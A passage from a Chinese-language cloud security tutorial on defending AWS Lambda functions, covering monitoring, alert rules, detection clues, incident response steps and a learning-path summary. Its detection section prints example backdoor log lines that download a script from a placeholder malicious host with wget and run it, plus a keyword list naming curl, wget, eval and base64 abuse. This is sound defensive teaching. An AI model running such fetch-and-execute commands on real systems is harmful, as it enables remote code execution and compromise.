· VPC配置:如果函数需要访问VPC资源,将其部署在私有子网中,并严格限制出站安全组和网络ACL规则。对于不需要VPC访问的函数,不要将其放入VPC,以减少攻击面。

  1. 监控与日志

· 启用AWS CloudTrail:确保记录所有Lambda API调用(CreateFunction, UpdateFunctionCode, Invoke等)和IAM事件。将日志发送到安全的、不可变的存储(如S3桶,并启用对象锁)。
· 集中化日志:使用Amazon CloudWatch Logs订阅过滤器或直接通过Kinesis将Lambda日志流式传输到安全信息和事件管理(SIEM)系统(如Splunk, Elastic SIEM)。
· 关键告警规则(CloudWatch警报或GuardDuty检测规则):
· lambda:UpdateFunctionCode或UpdateFunctionConfiguration来自非CI/CD系统的IP或用户。
· 函数执行时间异常长(超过平均值的3个标准差)。
· 函数调用频率异常(例如,突然从每分钟几次增加到每秒几百次)。
· 函数产生大量网络错误或访问被拒绝错误。
· 函数角色调用了高风险API(如iam:CreateUser, ec2:RunInstances, s3:PutBucketPolicy)。

示例GuardDuty检测规则概念(实际是GuardDuty内置的):

Type: Backdoor:EC2/LambdaBackdoor
Title: Lambda函数被修改以建立持久化后门
Severity: High
Indicator: Lambda函数代码被更新,新代码包含已知的后门模式,如:
- 调用外部IP的base64解码字符串
- 使用`os.system`, `subprocess.check_output`执行动态构造的命令
- 环境变量包含可疑的C2域名
  1. 架构设计原则

· 不可变部署:将函数代码和配置视为不可变的。每次更改都应通过CI/CD管道部署新版本,并禁用直接控制台或CLI修改。使用AWS CodePipeline、GitHub Actions或GitLab CI。
· 函数版本与别名:使用版本和别名进行流量管理。$LATEST版本仅用于开发。生产流量指向一个稳定的别名(如PROD),该别名指向一个特定的、经过测试的版本。这可以防止未经测试的代码直接进入生产环境。
· 网络隔离:对于处理敏感数据的函数,考虑使用Lambda在VPC中的功能,并将其放置在私有子网中,没有直接的互联网出口。通过VPC端点(PrivateLink)访问其他AWS服务(如S3, DynamoDB)。
· 机密管理:永远不要将密码、API密钥等硬编码在代码或环境变量中。使用AWS Secrets Manager或Parameter Store,并在函数启动时通过IAM角色自动获取。确保函数角色只有secretsmanager:GetSecretValue权限。

检测与响应线索

当调查潜在的安全事件时,在日志中关注以下模式:

CloudTrail日志线索:

{
  "eventSource": "lambda.amazonaws.com",
  "eventName": "UpdateFunctionCode",
  "userIdentity": {"type": "IAMUser", "userName": "dev_user"},
  "sourceIPAddress": "203.0.113.100", // 异常地理位置
  "requestParameters": {
    "functionName": "prod-payment-processor",
    "zipFile": "UEsDBBQACAAI..." // Base64编码的ZIP,可能包含恶意代码
  }
}

· 异常用户:函数更新由非CI/CD服务账户的个人用户执行。
· 异常时间:在非工作时间(如凌晨2点)进行更新。
· 异常源IP:来自未经验证的IP地址或国家。

CloudWatch Logs线索:

START RequestId: xxxx
[BACKDOOR] Command executed: wget http://malicious.site/script.sh -O /tmp/s.sh
[BACKDOOR] Command executed: chmod +x /tmp/s.sh && /tmp/s.sh
END RequestId: xxxx

· 可疑字符串:日志中出现backdoor, cmd, exec, eval, base64, curl * attacker, wget * pastebin等关键词。
· 出站连接:函数日志显示尝试连接到已知恶意IP或新注册的域名。
· 错误模式:大量权限被拒绝错误,可能表明攻击者正在尝试横向移动。

响应步骤:

  1. 隔离:立即更新函数的执行角色,附加一个拒绝所有操作的策略(“Effect”: “Deny”, “Action”: “", “Resource”: "”),或直接禁用函数的触发器。
  2. 取证:获取被修改函数的代码、层、环境变量和配置的快照。检查CloudTrail中所有相关API调用。
  3. 消除:回滚函数到已知良好的版本(使用版本控制)。如果层被感染,移除该层并调查所有使用该层的函数。
  4. 修复:根据根本原因(过宽权限、未验证输入、被入侵的依赖)实施长期修复措施。

第五部分:总结与脉络 —— 连接与展望

核心要点复盘

  1. 云函数是高价值攻击目标:由于其通常被授予高权限、处理敏感数据且由外部事件触发,它们成为权限提升、数据窃取和持久化的理想跳板。
  2. 权限是攻击链的核心:过宽的IAM执行角色是云函数最常见且最危险的安全误配置。一旦获得此类角色的访问权,攻击者几乎可以完全控制云环境。
  3. 事件注入是一种有效的攻击向量:当函数输入验证不足时,通过控制或影响事件源(API Gateway, S3, CloudWatch Events等),攻击者可以注入恶意负载,可能触发意外行为甚至远程代码执行。
  4. 持久化后门形式多样:在无服务器环境中,后门不仅可以通过修改函数代码实现,还可以通过层(Layer)、环境变量、外部依赖甚至运行时本身来实现,这使得检测变得更加困难。
  5. 防御需要全生命周期方法:从开发(最小权限、输入验证、安全依赖)到部署(不可变基础设施、标签)再到运维(监控、日志、响应),每一阶段都需要实施针对性的安全控制。

知识体系连接

本文内容在云渗透测试与防御知识体系中的位置:

· 前序基础:
· [AWS/Azure/GCP 核心服务与IAM基础]:理解云身份与访问管理是学习云函数权限模型的前提。
· [无服务器架构安全概述]:了解FaaS、BaaS的基本概念和安全挑战。
· [云环境侦察与枚举]:掌握如何发现和枚举云资源,包括Lambda函数。
· 本文核心:云函数(Lambda, Functions)的权限、事件注入与持久化后门(即本文)。
· 后继进阶:
· [容器与无服务器环境下的隐蔽通道与数据外传]:深入探讨在受限环境(如Lambda)中如何隐蔽地建立C2通道和外传数据。
· [云原生供应链攻击:从代码到生产]:研究针对CI/CD管道、容器镜像仓库和无服务器部署流程的供应链攻击。
· [混合云与多云环境下的横向移动技术]:当企业使用多个云提供商时,如何从一个云的立足点横向移动到另一个云。

进阶方向指引

  1. 无服务器安全工具链的深度研究:
    · 静态分析(SAST):研究如何将SAST工具(如Semgrep, Checkov)集成到无服务器框架(如Serverless Framework, SAM)的部署流程中,以自动检测代码和配置中的安全问题。
    · 动态分析(DAST/IAST):探索针对API Gateway + Lambda组合的模糊测试和交互式应用安全测试工具。
    · 运行时保护(RASP):调查新兴的无服务器运行时安全产品,它们能否在Lambda执行环境中检测和阻止恶意行为。
  2. AI与无服务器安全的交叉领域:
    · 异常检测机器学习模型:利用CloudTrail和CloudWatch Logs的海量数据,训练模型以识别异常的Lambda行为模式(例如,函数首次调用某个高风险API,或执行时间模式突然改变)。
    · 自动响应与修复:研究基于策略的自动修复系统,当检测到Lambda函数被篡改时,自动触发回滚、角色权限收紧或隔离流程。

技术展望:随着无服务器计算的普及,攻击技术也将不断进化。未来我们可能会看到更多针对无服务器工作流引擎(如AWS Step Functions)、事件总线(如Amazon EventBridge)和无服务器数据库(如DynamoDB Streams)的攻击手法。防御者必须紧跟架构演进,将安全左移并深度集成到开发者的工作流中。


自检清单

· 是否明确定义了本主题的价值与学习目标?
开篇即阐明云函数在攻防中的战略价值,并列出了5个具体可衡量的学习目标。
· 原理部分是否包含一张自解释的Mermaid核心机制图?
提供了涵盖攻击面、攻击路径和底层架构的综合Mermaid流程图。
· 实战部分是否包含一个可运行的、注释详尽的代码片段?
提供了从环境搭建(CloudFormation)、手动利用到自动化脚本(Python)的完整、可运行的代码示例,并包含详细注释和安全警告。
· 防御部分是否提供了至少一个具体的安全代码示例或配置方案?
提供了多个对比示例,包括IAM策略最小化、输入验证、SCP策略、监控告警规则和响应步骤。
· 是否建立了与知识大纲中其他文章的联系?
明确列出了前序、本文及后继文章的主题,构建了知识体系连接。
· 全文是否避免了未定义的术语和模糊表述?
关键术语(如执行角色、层、事件注入)首次出现时均加粗并给出清晰定义,论述逻辑严谨,步骤清晰。

Logo

DAMO开发者矩阵,由阿里巴巴达摩院和中国互联网协会联合发起,致力于探讨最前沿的技术趋势与应用成果,搭建高质量的交流与分享平台,推动技术创新与产业应用链接,围绕“人工智能与新型计算”构建开放共享的开发者生态。

更多推荐